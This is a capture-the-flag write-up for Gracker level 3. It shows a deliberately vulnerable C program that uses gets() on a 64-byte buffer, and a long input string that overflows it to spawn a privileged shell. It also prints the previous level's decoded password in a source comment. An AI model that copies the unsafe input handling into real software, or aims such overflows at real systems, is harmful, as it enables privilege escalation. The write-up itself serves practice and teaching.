Gracker level3 (Buffer Overflow - a glass)

Try the challenge thoroughly before reading the write-up. Otherwise, it's your loss.

We ssh to [email protected] and authenticate using the password we had obtained after solving the previous level.

Recap of previous level.

The recap confirms that the program was indeed encrypting our entered password and comparing it with the hardcoded encrypted password.

#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdint.h>
#include <sys/types.h>

// h0w_is_th1s_h4ck3r_f0ll0wing_m3
char secret_password[] =  "\x29\x71\x36\x1e\x28\x32\x1e\x35\x29\x70\x32\x1e\x29\x75\x22\x2a\x72\x33\x1e\x27\x71\x2d\x2d\x71\x36\x28\x2f\x26\x1e\x2c\x72"; 
uint8_t XORkey = 0x41;

void spawn_shell() {
    gid_t gid;
    uid_t uid;
    gid = getegid();
    uid = geteuid();
    setresgid(gid, gid, gid);
    setresuid(uid, uid, uid);
    system("/bin/sh");
}

int main (int argc, char *argv[]) {
    
    char password_input[32];
    char *pos;
    int i;

    printf("~Zero Cool Simple Backdoor v3~\nEnter Password:\n");
    read(STDIN_FILENO, password_input, 32);
    password_input[31]='\0';

    if ((pos=strchr(password_input, '\n')) != NULL) *pos = '\0';

    for(i=0; i<strlen(password_input); i++) {
        password_input[i] = password_input[i] ^ XORkey;
    }

    if(strcmp(password_input,secret_password)==0) {
        printf("Correct! Here is the level3 shell.\nRead the level3 password in /home/level3/.pass to login with `ssh [email protected]`\n");
        spawn_shell();
    } else{
        printf("wrong!");
    }

    return 0;
}

The solution given in the recap is different from mine. That solution decrypts the encrypted password using a function they wrote on their own and the XOR key. Do read it too.

But clearly my solution was more elegant as it used the function which had been provided already, and it did not require us knowing the XOR key. This concept of using what has already been provided and not executing your own code plays out on a much wider scale in modern binary exploitation involving ROP(Return Oriented Programming). Hopefully later levels of gracker will have some ROP challenges too.

Level3

On reading the story of this level we find out that the challenge will have to do something with buffer overflows. Some good resources to read up on buffer overflow are:

In this level the source code has been provided along with the binary.

level3@gracker:/matrix/level3$ ls
level3  level3.c
level3@gracker:/matrix/level3$ cat level3.c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

void spawn_shell() {
    gid_t gid;
    uid_t uid;
    gid = getegid();
    uid = geteuid();
    setresgid(gid, gid, gid);
    setresuid(uid, uid, uid);
    system("/bin/sh");
}

int main(int argc, char **argv)
{
  volatile int admin_enabled;
  char buffer[64];
  admin_enabled = 0;

  printf("Zero Cool - Bugdoor v4\nEnter Password:\n");
  gets(buffer);

  if(admin_enabled != 0) {
      printf("How can this happen? The variable is set to 0 and is never modified in between O.o\nYou must be a hacker!\n");
      spawn_shell();
  } else {
      printf("Trololol lololol...\n");
  }
}

On understanding the source code, we find out that we will have to change the calue of admin_enabled to anything other than zero. We can do that by overflowing the our buffer input. The space reserved for buffer is 64 bytes. Some bytes are also added by the compiler sometimes. So to be on the safe side, we use a larger length value as input which will overwrite the value 0 stored in the admin_enabled variable.

[email protected]:/matrix/level3$ ./level3
Zero Cool - Bugdoor v4
Enter Password:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
How can this happen? The variable is set to 0 and is never modified in between O.o
You must be a hacker!
$ whoami
level4
$ 

And Voila! We have level4 shell which we can use to read the level4 password. I am not revealing the password here so that the readers try the challenge on their own.